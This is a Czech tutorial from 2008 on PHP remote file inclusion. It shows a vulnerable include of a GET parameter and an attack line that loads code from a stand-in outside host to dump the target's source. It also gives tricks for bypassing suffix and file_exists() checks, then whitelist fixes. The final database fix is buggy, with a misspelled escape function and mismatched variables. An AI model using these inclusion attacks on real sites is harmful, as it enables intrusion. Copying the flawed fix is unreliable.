Bezpečnost v PHP - úvodní díl
 x   TIP: Přetáhni ikonu na hlavní panel pro připnutí webu
Reklama

Bezpečnost v PHP - úvodní dílBezpečnost v PHP - úvodní díl

 

Bezpečnost v PHP - úvodní díl

Google       Google       5. 4. 2008       37 994×

V úvodním díle o bezpečnosti v PHP si představíme celý seriál a podíváme se na zoubek PHP Injekci.

Reklama
Reklama

Webová bezpečnost je často noční můrou kdejakého začínajícího vývojáře. Nejčastěji se však stává až po prolomení stránky. Hodiny mučení u opravování chyb jak původních, tak vzniklých cizích útokem si jistě zažil každý z nás. Ačkoliv preferuji nabývání zkušeností z chyb, občas je lepší se tomuto způsobu vyhnout a podívat se na způsoby předcházení.

V tomto malém seriálu se podíváme nejen na ty nejznámější chyby, jako je PHP Injekce, ale prozkoumáme taje útoku CSRF, pokusíme se ukrást SESSIONS promocí JS injekce a dalších. Články jak budou řazeny za sebou, budou nabývat na těžkosti prolomení i prevence. Na konci každého článku vytvořím na speciální doméně cvičný script, kde si budete moci vyzkoušet každý z útoků (samozřejmě že např. u PHP Injekce budu filtrovat jen externí stránku, nebudu ji includovat). Na závěr každého dílu byste měli být schopni jak zabezpečit svoji stránku, tak chyby využít. Již teď však upozorňuji, že pokud chcete útočit na cizí stránku, jedná se o nelegální akci a můžete být dle toho trestáni.

Při čtení toho článku byste také měli mít určité základy PHP a HTML a ovládat pojmy server, klient.

Abych tu nemluvil tak naprázdno, již dnes si ukážeme první techniku.

PHP Injekce

PHP Inejkce je

  • druhá nejčastější chyba na PHP stránkách,
  • nejkritičtější chyba v PHP,
  • chyba začátečníků i pokročilých,
  • nejsnadněji opravitelná chyba.

I přes to, že bylo o této chybě napsáno mnoho, každá v průměru třetí stránka tuto chybu obsahuje. Ačkoliv existuje plno zajímavých „fíglů“, jak se bránit, moc jich vlastně neexistuje. Na fóru se objevil i dotaz, co to PHP Injekce vlastně je, což mě utvrzuje jen v tom, že i přes množství článků je pořád o chybě napsáno málo.

Ukázka náchylného kódu:

<?
include $_GET['page'];
?>
<a href="?page=next.php">Další stránka</a>

Teoreticky vzato se na stránku vloží parametr předaný proměnnou $page. Klikneme-li na odkaz, bude vše normální. Avšak všechny proměnné GET se dají jednoduše upravit v URL. Příkaz include vloží do cílové stránky stránku odkazovanou.

Vytvoříme si na jiném serveru (např. neco.ltd) soubor index.php. Asi nás bude zajímat převážně jedna věc – zdrojový kód.

<?
show_source("index.php");
?>

Nakonec do proměnné $page předáme page=http://neco.ltd/index.php a potvrdíme.

Že by něco nefungovalo? Chyba v Matrixu to není. Kdopak přijde na to, kde máme chybu? Správná odpověď bude asi jinde, než byste očekávali. PHP kód se vykoná již na odkazovaném serveru, tudíž se cílové stránce vypíše obsah našeho souboru… takový malý vedlejší efekt. Aby nám to fungovalo, jednoduše přejmenujeme soubor na index.txt. Nyní by se nám již měl ukázat kód napadnuté stránky. Ale my tu nejsme od toho, abychom hackovali, ale od toho, abychom se mohli bránit. Za svoji dobu jsem se setkal s několika způsoby ochrany. Ty nejčastější si ukážeme a všechny je pokoříme :-).

  1. Přidání koncovky .php

    <?
    include ($_GET['page'].".php");
    ?>

    Již víme, že pokud vytvoříme stránku, kde bude přípona .php, script se vykoná na odkazujícím serveru. Jak tedy na to? Dlouho jsem si myslel, že je problém neřešitelný, než mě napadlo: „Proč by se musel PHP kód vykonat?“. Nehledejte pod touhle větou žádné spiknutí, odpověď je mnohem prostší.

    Společnost Seznam, a. s. nabízí krom mnoha jiných služeb i opravdu jednoduchou možnost prezentace svých webových stránek. Služba se nazývá SWeb a opravdu nic na ní neuděláte. Ale k něčemu je dobrá? Právě, když chcete, aby se nic nedalo, může se tato služba od Seznamu hodit. SWeb totiž nepodporuje PHP! K souboru .php se tedy bude chovat, jako by to byl textový soubor. Oběti se tedy předá celý kód a je po problému.

  2. Kontrola funkcí file_exists()

    Tato chyba by se dala obejít dvěma způsoby:

    1. uložením souboru na jiném webu, který leží na stejném serveru (možné pouze u neprofesionálních hostingů),
    2. chybou v uploadu (touto se budeme zabývat).
    Jelikož řešení z bodu a) se v dnešní době prakticky nevyskytuje, budeme se lehce zabývat bodem b) (chyby v uploadech budeme probírat příště). Řekněme si jen ve stručnosti, jak může vypadat náchylný upload. Většina uploadů, které jsou chráněny, buď zakazují nebo povolují přípony. U nejjednodušího uploadu může být zabráněno nahrání souboru s příponou .php (.phpx). Avšak soubor .txt není zakázán, takže bude opět nahrán (dál už to znáte). U galerií je zas výčet povolených přípon. Kdo však říká, že se nedá includovat JPEG soubor, který není v binární formě? Pokud tedy máte vlastní hosting a jste si jisti, že nikdo nikdy nenahraje žádný soubor, můžete funkci file_exists() využít, ale osobně to příliš nedoporučuji.

Existují i další způsoby obcházení této funkce, pokud se chcete dozvědět více o útoku (my se zabýváme obranou), odkazuji vás na tento článek.


Již víme, co je to PHP Injekce. Také víme, že neošetřená inkluze souboru může mít katastrofální následky. A rovněž jsme zjistili, kdy smíme použít file_exists() a kdy ne. Co nám chybí? Už jen řešení problému.

Otroci všech stránek, spojte se

<?
$page = $_GET['page'];
if (($page== "") || ($page == "main")) {
include "main.php";
}
elseif ($page=="download") {
include "download.php";
}
//...
else {
include "errors/404.php";
}
?>

Asi nikdo se nebude chtít podřizovat stránce. Upřímně, i já jsem kdysi volil tento způsob. Dnes již vím, že hrát si na otroka své vlastní stránky nemám zapotřebí. Doufám, že jste si pozorně prohlédli tento kód. Teď ho zas rychle zapomeňte a jdeme vylepšovat.

Switch

<?
if (IsSet($_GET['page'])) {
   $page = $_GET['page'];
   switch($page) {
      case 'uvod':
         include "main.php";
         break;
      case 'download':
         include "download.php";
         break;
      //...
      default:
         include "errors/404.php";
         break;
   }
}
?>

Tento způsob je mnohem lépe upravitelný a přehlednější. Pro někoho to již může stačit, pro někoho ne.

Pole, pole a zase jednou pole

<?
//Tento skript vylepšil hrach
if (IsSet($_GET['page'])) $page=$_GET['page'];
else $page="main";

$pages = array(
    'main' => 'main.php',
    'download' => 'pages/download.php'
);


if (isset($pages[$page])) {
   include($pages[$page]);
}
?>

Oblíbenost této verze záleží převážně na vztahu k polím. Možností by také bylo toto:

<?
if (IsSet($_GET['page'])) $page=$_GET['page'];
else $page="main";

$pages_name = array('main','download');

if (in_array($page,$pages_name)) {
   include("stranky/".$page.".php");
}
?>

U obou možností se však setkáváme s poměrně velikým problémem. To je neschopnost rychlých a efektivních úprav, na kterou jsem již upozorňoval v prvním případě. Tyto možnosti jsem uvedl primárně pro ty, kteří nechtějí či nemají možnost využívat databáze.

Využití databáze

Tu nejhezčí možnost jsem si nechal na konec. Je jím databáze. Rychlý, efektivní a snadný způsob pro správu. Je jen na vás, jak si tyto kódy upravíte; jestli je tedy využijete. Jen pozor! Při větší návštěvnosti nemusí databáze ustát provoz, je-li omezen počet připojení k db/hodinu.

Tabulka:

create table if not exists `presmerovani` (

     `id` int(10) auto_increment,
     `name` varchar(255),
     `link` varchar(255),
     PRIMARY KEY(`id`)
);
Řádek name uchovává název stránky předávanou v proměnné $_GET['pages'], link udává cestu k souboru.

<?
//připojení k DB
include "connect.php";

$page = mysql_escape_sting($_GET['pages']); // ošetření proti mysql injekci
$db = mysql_query("select * from presmerovani where name = '$pages'");
$results = mysql_num_rows($db);

if ($results == 1) {
     $fetch = mysql_fetch_array($db);
     include $fetch['link'];
}
else {
     //např. přesměrování na informaci o neexistující chybě, zaznamenání pokusu o útok, vypsání hlášky...
}
?>

Závěr

Znovu vás všechny zde přítomné prosím, abyste neničili cizí stránky. Vzpomeňte si na vaše začátky. A když už musíte lézt do kódu, alespoň o chybě informujte správce stránky.

Doufám, že vám tento článek ukázal problematiku PHP Injection. Pevně věřím, že nikdo, jak tu jste, již nenechá své stránky napospas útočníkům.

Na příště jsem původně chtěl připravit článek o MySQL injekci, nicméně zde na portálu se již kvalitní článek o této chybě vyskytuje.

V příštím článku si ukážeme zabezpečení uploadu.

Cviční script

Jak jsem slíbil, na konci každého dílu si můžete vyzkoušet své získané vědomosti. Na této stránce si můžete vyzkoušet útok na náchylnou stránku. Přeji příjemnou zábavu.

Script

×Odeslání článku na tvůj Kindle

Zadej svůj Kindle e-mail a my ti pošleme článek na tvůj Kindle.
Musíš mít povolený příjem obsahu do svého Kindle z naší e-mailové adresy kindle@programujte.com.

E-mailová adresa (např. novak@kindle.com):

TIP: Pokud chceš dostávat naše články každé ráno do svého Kindle, koukni do sekce Články do Kindle.

Hlasování bylo ukončeno    
0 hlasů
Google
Autor se zajímá o webové technologie a jejich zabezpečení. V současné době je v psaní článků neaktivní, avšak snaží se pomáhat začínajícím programátorům v diskuzním fóru. Studuje na vojenské škole v Moravské Třebové.

Nové články

Obrázek ke článku Blockchain & Bitcoin konference

Blockchain & Bitcoin konference

V pátek 19. 5. 2017 se v pražském konferenčním centru Andel’s konala Blockchain & Bitcoin konference. Řada odborníků a podnikatelů v oboru blockchainu a kryptoměn představila možnosti budoucího směřování tohoto oboru. Speakeři většinou rusky mluvící provenience prezentovali řešení svých firem založená na technologii blockchainu.

Reklama
Reklama
Obrázek ke článku Malware KONNI se úspěšně skrýval 3 roky. Odhalil ho bezpečnostní tým Cisco Talos

Malware KONNI se úspěšně skrýval 3 roky. Odhalil ho bezpečnostní tým Cisco Talos

Bezpečnostní tým Cisco Talos odhalil celkem 4 kampaně dosud neobjeveného malwaru, který dostal jméno KONNI. Ten se dokázal úspěšně maskovat od roku 2014. Zpočátku se malware zaměřoval pouze na krádeže citlivých dat. Za 3 roky se ale několikrát vyvinul, přičemž jeho současná verze umožňuje útočníkovi z infikovaného počítače nejenom krást data, ale i mapovat stisky na klávesnici, pořizovat screenshoty obrazovky či v zařízení spustit libovolný kód. Pro odvedení pozornosti oběti zasílali útočníci v příloze také obrázek, zprávu a výhružkách severokorejského režimu či kontakty na členy mezinárodních organizací.

Obrázek ke článku Pouze jedna z deseti lokálních firem ví o pokutách plynoucích z GDPR

Pouze jedna z deseti lokálních firem ví o pokutách plynoucích z GDPR

Trend Micro, celosvětový lídr v oblasti bezpečnostních řešení a VMware, přední světový dodavatel cloudové infrastruktury a řešení pro podnikovou mobilitu, oznámily výsledky výzkumu mezi českými a slovenskými manažery zodpovědnými za ochranu osobních údajů, který zjišťoval, jak jsou připraveni na nové nařízení o ochraně osobních údajů (GDPR). Většina firem v České republice a na Slovensku nad 100 zaměstnanců je již s novým nařízením GDPR obeznámena. Výzkum provedený ve spolupráci s agenturou Ipsos ukázal, že téměř 8 firem z 10 o nařízení ví, přičemž jeho znalost je o něco vyšší na Slovensku (89 %) než v České republice (69 %).

Obrázek ke článku Vyděračský software Locky se vrací, tváří se jako potvrzení platby, odhalil tým Cisco Talos

Vyděračský software Locky se vrací, tváří se jako potvrzení platby, odhalil tým Cisco Talos

Jeden z nejznámějších ransomwarů, Locky, se vrací. Po většinu roku 2016 patřil mezi nejrozšířenější vyděračské softwary. Ke svému šíření využíval emailové kampaně s infikovanými přílohami. Ransomware Locky byl rozesílán prostřednictvím botnetu (internetový robot zasílající spamy) Necurs. Jeho aktivita na konci roku 2016 téměř upadla a spolu s ní i šíření ransomwaru Locky. Před několika týdny se Necurs opět probudil a začal posílat spamy nabízející výhodný nákup akcií. Dne 21. dubna zaznamenal bezpečnostní tým Cisco Talos první velkou kampaň ransomwaru Locky prostřednictvím botnetu Necurs za posledních několik měsíců.

loadingtransparent (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();
Hostujeme u Českého hostingu       ISSN 1801-1586       ⇡ Nahoru Webtea.cz logo © 20032017 Programujte.com
Zasadilo a pěstuje Webtea.cz, šéfredaktor Lukáš Churý